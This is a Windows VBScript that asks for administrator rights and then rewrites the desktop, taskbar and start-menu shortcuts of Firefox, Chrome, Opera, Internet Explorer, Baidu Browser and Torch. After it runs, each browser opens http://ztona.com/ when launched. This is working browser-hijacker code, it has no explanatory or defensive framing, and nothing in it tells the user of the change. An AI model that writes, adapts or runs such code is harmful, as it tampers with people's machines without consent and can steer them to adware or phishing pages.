If WScript.Arguments.Named.Exists("elevated") = False Then
  CreateObject("Shell.Application").ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """ /elevated", "", "runas", 1
  WScript.Quit
End If

set wshell = Createobject("wscript.shell")
set Fso= createobject("scripting.filesystemobject")
Set objShell = CreateObject("WScript.Shell")
userProfilePath = objShell.ExpandEnvironmentStrings("%UserProfile%")
WScript.Sleep 1000

'Firefox
shortcutpath = userProfilePath & "\Desktop\Mozilla Firefox.lnk"
ExePath = "C:\Program Files\Mozilla Firefox\firefox.exe"
ShortCutArg ="http://ztona.com/"
If Fso.FileExists(ShortcutPath) then
Set shortcut = wshell.CreateShortcut(shortcutpath)
shortcut.TargetPath = ExePath
shortcut.Arguments = ShortCutArg
shortcut.Save
end if

shortcutpath1 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk"
ExePath1 = "C:\Program Files\Mozilla Firefox\firefox.exe"
ShortCutArg1 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath1) then
Set shortcut = wshell.CreateShortcut(shortcutpath1)
shortcut.TargetPath = ExePath1
shortcut.Arguments = ShortCutArg1
shortcut.Save
end if

shortcutpath2 = "C:\Users\Public\Desktop\Mozilla Firefox.lnk"
ExePath2 = "C:\Program Files\Mozilla Firefox\firefox.exe"
ShortCutArg2 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath2) then
Set shortcut = wshell.CreateShortcut(shortcutpath2)
shortcut.TargetPath = ExePath2
shortcut.Arguments = ShortCutArg2
shortcut.Save
end if

shortcutpath3 = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk"
ExePath3 = "C:\Program Files\Mozilla Firefox\firefox.exe"
ShortCutArg3 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath3) then
Set shortcut = wshell.CreateShortcut(shortcutpath3)
shortcut.TargetPath = ExePath3
shortcut.Arguments = ShortCutArg3
shortcut.Save
end if

shortcutpath4 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Mozilla Firefox.lnk"
ExePath4 = "C:\Program Files\Mozilla Firefox\firefox.exe"
ShortCutArg4 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath4) then
Set shortcut = wshell.CreateShortcut(shortcutpath4)
shortcut.TargetPath = ExePath4
shortcut.Arguments = ShortCutArg4
shortcut.Save
end if

shortcutpath5 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Mozilla Firefox.lnk"
ExePath5 = "C:\Program Files\Mozilla Firefox\firefox.exe"
ShortCutArg5 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath5) then
Set shortcut = wshell.CreateShortcut(shortcutpath5)
shortcut.TargetPath = ExePath5
shortcut.Arguments = ShortCutArg5
shortcut.Save
end if

shortcutpath6 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\5d696d521de238c3\Mozilla Firefox.lnk"
ExePath6 = "C:\Program Files\Mozilla Firefox\firefox.exe"
ShortCutArg6 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath6) then
Set shortcut = wshell.CreateShortcut(shortcutpath6)
shortcut.TargetPath = ExePath6
shortcut.Arguments = ShortCutArg6
shortcut.Save
end if

shortcutpath7 = userProfilePath & "\Desktop\Mozilla Firefox.lnk"
ExePath7 = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
ShortCutArg7 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath7) then
Set shortcut = wshell.CreateShortcut(shortcutpath7)
shortcut.TargetPath = ExePath7
shortcut.Arguments = ShortCutArg7
shortcut.Save
end if

shortcutpath8 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk"
ExePath8 = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
ShortCutArg8 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath8) then
Set shortcut = wshell.CreateShortcut(shortcutpath8)
shortcut.TargetPath = ExePath8
shortcut.Arguments = ShortCutArg8
shortcut.Save
end if

shortcutpath9 = "C:\Users\Public\Desktop\Mozilla Firefox.lnk"
ExePath9 = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
ShortCutArg9 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath9) then
Set shortcut = wshell.CreateShortcut(shortcutpath9)
shortcut.TargetPath = ExePath9
shortcut.Arguments = ShortCutArg9
shortcut.Save
end if

shortcutpath10 = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk"
ExePath10 = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
ShortCutArg10 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath10) then
Set shortcut = wshell.CreateShortcut(shortcutpath10)
shortcut.TargetPath = ExePath10
shortcut.Arguments = ShortCutArg10
shortcut.Save
end if

shortcutpath11 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Mozilla Firefox.lnk"
ExePath11 = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
ShortCutArg11 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath11) then
Set shortcut = wshell.CreateShortcut(shortcutpath11)
shortcut.TargetPath = ExePath11
shortcut.Arguments = ShortCutArg11
shortcut.Save
end if

shortcutpath12 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Mozilla Firefox.lnk"
ExePath12 = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
ShortCutArg12 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath12) then
Set shortcut = wshell.CreateShortcut(shortcutpath12)
shortcut.TargetPath = ExePath12
shortcut.Arguments = ShortCutArg12
shortcut.Save
end if

shortcutpath13 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\5d696d521de238c3\Mozilla Firefox.lnk"
ExePath13 = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
ShortCutArg13 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath13) then
Set shortcut = wshell.CreateShortcut(shortcutpath13)
shortcut.TargetPath = ExePath13
shortcut.Arguments = ShortCutArg13
shortcut.Save
end if



'Chrome
shortcutpath14 = userProfilePath & "\Desktop\Google Chrome.lnk"
ExePath14 = "C:\Program Files\Google\Chrome\Application\chrome.exe"
ShortCutArg14 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath14) then
Set shortcut = wshell.CreateShortcut(shortcutpath14)
shortcut.TargetPath = ExePath14
shortcut.Arguments = ShortCutArg14
shortcut.Save
end if

shortcutpath15 = "C:\Users\Public\Desktop\Google Chrome.lnk"
ExePath15 = "C:\Program Files\Google\Chrome\Application\chrome.exe"
ShortCutArg15 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath15) then
Set shortcut = wshell.CreateShortcut(shortcutpath15)
shortcut.TargetPath = ExePath15
shortcut.Arguments = ShortCutArg15
shortcut.Save
end if

shortcutpath16 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk"
ExePath16 = "C:\Program Files\Google\Chrome\Application\chrome.exe"
ShortCutArg16 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath16) then
Set shortcut = wshell.CreateShortcut(shortcutpath16)
shortcut.TargetPath = ExePath16
shortcut.Arguments = ShortCutArg16
shortcut.Save
end if

shortcutpath17 = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk"
ExePath17 = "C:\Program Files\Google\Chrome\Application\chrome.exe"
ShortCutArg17 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath17) then
Set shortcut = wshell.CreateShortcut(shortcutpath17)
shortcut.TargetPath = ExePath17
shortcut.Arguments = ShortCutArg17
shortcut.Save
end if

shortcutpath18 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk"
ExePath18 = "C:\Program Files\Google\Chrome\Application\chrome.exe"
ShortCutArg18 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath18) then
Set shortcut = wshell.CreateShortcut(shortcutpath18)
shortcut.TargetPath = ExePath18
shortcut.Arguments = ShortCutArg18
shortcut.Save
end if

shortcutpath19 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk"
ExePath19 = "C:\Program Files\Google\Chrome\Application\chrome.exe"
ShortCutArg19 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath19) then
Set shortcut = wshell.CreateShortcut(shortcutpath19)
shortcut.TargetPath = ExePath19
shortcut.Arguments = ShortCutArg19
shortcut.Save
end if

shortcutpath20 = userProfilePath & "\Desktop\Google Chrome.lnk"
ExePath20 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
ShortCutArg20 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath20) then
Set shortcut = wshell.CreateShortcut(shortcutpath20)
shortcut.TargetPath = ExePath20
shortcut.Arguments = ShortCutArg20
shortcut.Save
end if

shortcutpath21 = "C:\Users\Public\Desktop\Google Chrome.lnk"
ExePath21 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
ShortCutArg21 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath21) then
Set shortcut = wshell.CreateShortcut(shortcutpath21)
shortcut.TargetPath = ExePath21
shortcut.Arguments = ShortCutArg21
shortcut.Save
end if

shortcutpath22 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk"
ExePath22 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
ShortCutArg22 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath22) then
Set shortcut = wshell.CreateShortcut(shortcutpath22)
shortcut.TargetPath = ExePath22
shortcut.Arguments = ShortCutArg22
shortcut.Save
end if

shortcutpath23 = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk"
ExePath23 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
ShortCutArg23 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath23) then
Set shortcut = wshell.CreateShortcut(shortcutpath23)
shortcut.TargetPath = ExePath23
shortcut.Arguments = ShortCutArg23
shortcut.Save
end if

shortcutpath24 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk"
ExePath24 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
ShortCutArg24 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath24) then
Set shortcut = wshell.CreateShortcut(shortcutpath24)
shortcut.TargetPath = ExePath24
shortcut.Arguments = ShortCutArg24
shortcut.Save
end if

shortcutpath25 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk"
ExePath25 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
ShortCutArg25 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath25) then
Set shortcut = wshell.CreateShortcut(shortcutpath25)
shortcut.TargetPath = ExePath25
shortcut.Arguments = ShortCutArg25
shortcut.Save
end if

shortcutpath44 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\5d696d521de238c3\Google Chrome.lnk"
ExePath44 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
ShortCutArg44 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath44) then
Set shortcut = wshell.CreateShortcut(shortcutpath44)
shortcut.TargetPath = ExePath44
shortcut.Arguments = ShortCutArg44
shortcut.Save
end if


'Opera
shortcutpath26 = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Opera.lnk"
ExePath26 = "C:\Program Files\Opera\launcher.exe"
ShortCutArg26 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath26) then
Set shortcut = wshell.CreateShortcut(shortcutpath26)
shortcut.TargetPath = ExePath26
shortcut.Arguments = ShortCutArg26
shortcut.Save
end if

shortcutpath27 = "C:\Users\Public\Desktop\Opera.lnk"
ExePath27 = "C:\Program Files\Opera\launcher.exe"
ShortCutArg27 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath27) then
Set shortcut = wshell.CreateShortcut(shortcutpath27)
shortcut.TargetPath = ExePath27
shortcut.Arguments = ShortCutArg27
shortcut.Save
end if

shortcutpath28 = userProfilePath & "\Desktop\Opera.lnk"
ExePath28 = "C:\Program Files\Opera\launcher.exe"
ShortCutArg28 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath28) then
Set shortcut = wshell.CreateShortcut(shortcutpath28)
shortcut.TargetPath = ExePath28
shortcut.Arguments = ShortCutArg28
shortcut.Save
end if

shortcutpath29 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Opera.lnk"
ExePath29 = "C:\Program Files\Opera\launcher.exe"
ShortCutArg29 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath29) then
Set shortcut = wshell.CreateShortcut(shortcutpath29)
shortcut.TargetPath = ExePath29
shortcut.Arguments = ShortCutArg29
shortcut.Save
end if

shortcutpath30 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Opera.lnk"
ExePath30 = "C:\Program Files\Opera\launcher.exe"
ShortCutArg30 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath30) then
Set shortcut = wshell.CreateShortcut(shortcutpath30)
shortcut.TargetPath = ExePath30
shortcut.Arguments = ShortCutArg30
shortcut.Save
end if

shortcutpath31 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\5d696d521de238c3\Opera.lnk"
ExePath31 = "C:\Program Files\Opera\launcher.exe"
ShortCutArg31 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath31) then
Set shortcut = wshell.CreateShortcut(shortcutpath31)
shortcut.TargetPath = ExePath31
shortcut.Arguments = ShortCutArg31
shortcut.Save
end if

shortcutpath32 = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Opera.lnk"
ExePath32 = "C:\Program Files (x86)\Opera\launcher.exe"
ShortCutArg32 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath32) then
Set shortcut = wshell.CreateShortcut(shortcutpath32)
shortcut.TargetPath = ExePath32
shortcut.Arguments = ShortCutArg32
shortcut.Save
end if

shortcutpath33 = "C:\Users\Public\Desktop\Opera.lnk"
ExePath33 = "C:\Program Files (x86)\Opera\launcher.exe"
ShortCutArg33 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath33) then
Set shortcut = wshell.CreateShortcut(shortcutpath33)
shortcut.TargetPath = ExePath33
shortcut.Arguments = ShortCutArg33
shortcut.Save
end if

shortcutpath34 = userProfilePath & "\Desktop\Opera.lnk"
ExePath34 = "C:\Program Files (x86)\Opera\launcher.exe"
ShortCutArg34 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath34) then
Set shortcut = wshell.CreateShortcut(shortcutpath34)
shortcut.TargetPath = ExePath34
shortcut.Arguments = ShortCutArg34
shortcut.Save
end if

shortcutpath35 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Opera.lnk"
ExePath35 = "C:\Program Files (x86)\Opera\launcher.exe"
ShortCutArg35 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath35) then
Set shortcut = wshell.CreateShortcut(shortcutpath35)
shortcut.TargetPath = ExePath35
shortcut.Arguments = ShortCutArg35
shortcut.Save
end if

shortcutpath36 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Opera.lnk"
ExePath36 = "C:\Program Files (x86)\Opera\launcher.exe"
ShortCutArg36 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath36) then
Set shortcut = wshell.CreateShortcut(shortcutpath36)
shortcut.TargetPath = ExePath36
shortcut.Arguments = ShortCutArg36
shortcut.Save
end if

shortcutpath37 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\5d696d521de238c3\Opera.lnk"
ExePath37 = "C:\Program Files (x86)\Opera\launcher.exe"
ShortCutArg37 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath37) then
Set shortcut = wshell.CreateShortcut(shortcutpath37)
shortcut.TargetPath = ExePath37
shortcut.Arguments = ShortCutArg37
shortcut.Save
end if


'IExploler
shortcutpath38 = userProfilePath & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer (64-bit).lnk"
ExePath38 = "C:\Program Files\Internet Explorer\iexplore.exe"
ShortCutArg38 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath38) then
Set shortcut = wshell.CreateShortcut(shortcutpath38)
shortcut.TargetPath = ExePath38
shortcut.Arguments = ShortCutArg38
shortcut.Save
end if

shortcutpath39 = userProfilePath & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk"
ExePath39 = "C:\Program Files\Internet Explorer\iexplore.exe"
ShortCutArg39 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath39) then
Set shortcut = wshell.CreateShortcut(shortcutpath39)
shortcut.TargetPath = ExePath39
shortcut.Arguments = ShortCutArg39
shortcut.Save
end if

shortcutpath40 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk"
ExePath40 = "C:\Program Files\Internet Explorer\iexplore.exe"
ShortCutArg40 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath40) then
Set shortcut = wshell.CreateShortcut(shortcutpath40)
shortcut.TargetPath = ExePath40
shortcut.Arguments = ShortCutArg40
shortcut.Save
end if

shortcutpath41 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Launch Internet Explorer Browser.lnk"
ExePath41 = "C:\Program Files\Internet Explorer\iexplore.exe"
ShortCutArg41 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath41) then
Set shortcut = wshell.CreateShortcut(shortcutpath41)
shortcut.TargetPath = ExePath41
shortcut.Arguments = ShortCutArg41
shortcut.Save
end if

shortcutpath42 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\5d696d521de238c3\Launch Internet Explorer Browser.lnk"
ExePath42 = "C:\Program Files\Internet Explorer\iexplore.exe"
ShortCutArg42 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath42) then
Set shortcut = wshell.CreateShortcut(shortcutpath42)
shortcut.TargetPath = ExePath42
shortcut.Arguments = ShortCutArg42
shortcut.Save
end if

shortcutpath43 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk"
ExePath43 = "C:\Program Files\Internet Explorer\iexplore.exe"
ShortCutArg43 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath43) then
Set shortcut = wshell.CreateShortcut(shortcutpath43)
shortcut.TargetPath = ExePath43
shortcut.Arguments = ShortCutArg43
shortcut.Save
end if

shortcutpath57 = "C:\Users\Public\Desktop\Internet Explorer.lnk"
ExePath57 = "C:\Program Files\Internet Explorer\iexplore.exe"
ShortCutArg57 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath57) then
Set shortcut = wshell.CreateShortcut(shortcutpath57)
shortcut.TargetPath = ExePath57
shortcut.Arguments = ShortCutArg57
shortcut.Save
end if

'Baidu browser
shortcutpath45 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Baidu Browser.lnk"
ExePath45 = "C:\Program Files\baidu\Baidu Browser\spark.exe"
ShortCutArg45 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath45) then
Set shortcut = wshell.CreateShortcut(shortcutpath45)
shortcut.TargetPath = ExePath45
shortcut.Arguments = ShortCutArg45
shortcut.Save
end if

shortcutpath46 = userProfilePath & "\Desktop\Baidu Browser.lnk"
ExePath46 = "C:\Program Files\baidu\Baidu Browser\spark.exe"
ShortCutArg46 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath46) then
Set shortcut = wshell.CreateShortcut(shortcutpath46)
shortcut.TargetPath = ExePath46
shortcut.Arguments = ShortCutArg46
shortcut.Save
end if

shortcutpath47 = "C:\Users\Public\Desktop\Baidu Browser.lnk"
ExePath47 = "C:\Program Files\baidu\Baidu Browser\spark.exe"
ShortCutArg47 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath47) then
Set shortcut = wshell.CreateShortcut(shortcutpath47)
shortcut.TargetPath = ExePath47
shortcut.Arguments = ShortCutArg47
shortcut.Save
end if

shortcutpath48 = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Baidu Browser.lnk"
ExePath48 = "C:\Program Files\baidu\Baidu Browser\spark.exe"
ShortCutArg48 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath48) then
Set shortcut = wshell.CreateShortcut(shortcutpath48)
shortcut.TargetPath = ExePath48
shortcut.Arguments = ShortCutArg48
shortcut.Save
end if

shortcutpath49 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Baidu Browser.lnk"
ExePath49 = "C:\Program Files\baidu\Baidu Browser\spark.exe"
ShortCutArg49 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath49) then
Set shortcut = wshell.CreateShortcut(shortcutpath49)
shortcut.TargetPath = ExePath49
shortcut.Arguments = ShortCutArg49
shortcut.Save
end if

shortcutpath50 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\5d696d521de238c3\Baidu Browser.lnk"
ExePath50 = "C:\Program Files\baidu\Baidu Browser\spark.exe"
ShortCutArg50 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath50) then
Set shortcut = wshell.CreateShortcut(shortcutpath50)
shortcut.TargetPath = ExePath50
shortcut.Arguments = ShortCutArg50
shortcut.Save
end if

shortcutpath51 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Baidu Browser.lnk"
ExePath51 = "C:\Program Files (x86)\baidu\Baidu Browser\Spark.exe"
ShortCutArg51 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath51) then
Set shortcut = wshell.CreateShortcut(shortcutpath51)
shortcut.TargetPath = ExePath51
shortcut.Arguments = ShortCutArg51
shortcut.Save
end if

shortcutpath52 = userProfilePath & "\Desktop\Baidu Browser.lnk"
ExePath52 = "C:\Program Files (x86)\baidu\Baidu Browser\Spark.exe"
ShortCutArg52 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath52) then
Set shortcut = wshell.CreateShortcut(shortcutpath52)
shortcut.TargetPath = ExePath52
shortcut.Arguments = ShortCutArg52
shortcut.Save
end if

shortcutpath53 = "C:\Users\Public\Desktop\Baidu Browser.lnk"
ExePath53 = "C:\Program Files (x86)\baidu\Baidu Browser\Spark.exe"
ShortCutArg53 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath53) then
Set shortcut = wshell.CreateShortcut(shortcutpath53)
shortcut.TargetPath = ExePath53
shortcut.Arguments = ShortCutArg53
shortcut.Save
end if

shortcutpath54 = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Baidu Browser.lnk"
ExePath54 = "C:\Program Files (x86)\baidu\Baidu Browser\Spark.exe"
ShortCutArg54 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath54) then
Set shortcut = wshell.CreateShortcut(shortcutpath54)
shortcut.TargetPath = ExePath54
shortcut.Arguments = ShortCutArg54
shortcut.Save
end if

shortcutpath55 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\5d696d521de238c3\Baidu Browser.lnk"
ExePath55 = "C:\Program Files (x86)\baidu\Baidu Browser\Spark.exe"
ShortCutArg55 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath55) then
Set shortcut = wshell.CreateShortcut(shortcutpath55)
shortcut.TargetPath = ExePath55
shortcut.Arguments = ShortCutArg55
shortcut.Save
end if

shortcutpath56 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Baidu Browser.lnk"
ExePath56 = "C:\Program Files (x86)\baidu\Baidu Browser\Spark.exe"
ShortCutArg56 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath56) then
Set shortcut = wshell.CreateShortcut(shortcutpath56)
shortcut.TargetPath = ExePath56
shortcut.Arguments = ShortCutArg56
shortcut.Save
end if

'Torch browser
shortcutpath58 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Torch.lnk"
ExePath58 = "C:\Users\Ahmed\AppData\Local\Torch\Application\torch.exe"
ShortCutArg58 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath58) then
Set shortcut = wshell.CreateShortcut(shortcutpath58)
shortcut.TargetPath = ExePath58
shortcut.Arguments = ShortCutArg58
shortcut.Save
end if

shortcutpath59 = userProfilePath & "\Desktop\Torch.lnk"
ExePath59 = "C:\Users\Ahmed\AppData\Local\Torch\Application\torch.exe"
ShortCutArg59 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath59) then
Set shortcut = wshell.CreateShortcut(shortcutpath59)
shortcut.TargetPath = ExePath59
shortcut.Arguments = ShortCutArg59
shortcut.Save
end if

shortcutpath60 = "C:\Users\Public\Desktop\Torch.lnk"
ExePath60 = "C:\Users\Ahmed\AppData\Local\Torch\Application\torch.exe"
ShortCutArg60 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath60) then
Set shortcut = wshell.CreateShortcut(shortcutpath60)
shortcut.TargetPath = ExePath60
shortcut.Arguments = ShortCutArg60
shortcut.Save
end if

shortcutpath61 = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Torch.lnk"
ExePath61 = "C:\Users\Ahmed\AppData\Local\Torch\Application\torch.exe"
ShortCutArg61 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath61) then
Set shortcut = wshell.CreateShortcut(shortcutpath61)
shortcut.TargetPath = ExePath61
shortcut.Arguments = ShortCutArg61
shortcut.Save
end if

shortcutpath61 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Torch.lnk"
ExePath61 = "C:\Users\Ahmed\AppData\Local\Torch\Application\torch.exe"
ShortCutArg61 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath61) then
Set shortcut = wshell.CreateShortcut(shortcutpath61)
shortcut.TargetPath = ExePath61
shortcut.Arguments = ShortCutArg61
shortcut.Save
end if

shortcutpath62 = userProfilePath & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\5d696d521de238c3\Torch.lnk"
ExePath62 = "C:\Users\Ahmed\AppData\Local\Torch\Application\torch.exe"
ShortCutArg62 ="http://ztona.com/"
If Fso.FileExists(ShortcutPath62) then
Set shortcut = wshell.CreateShortcut(shortcutpath62)
shortcut.TargetPath = ExePath62
shortcut.Arguments = ShortCutArg62
shortcut.Save
end if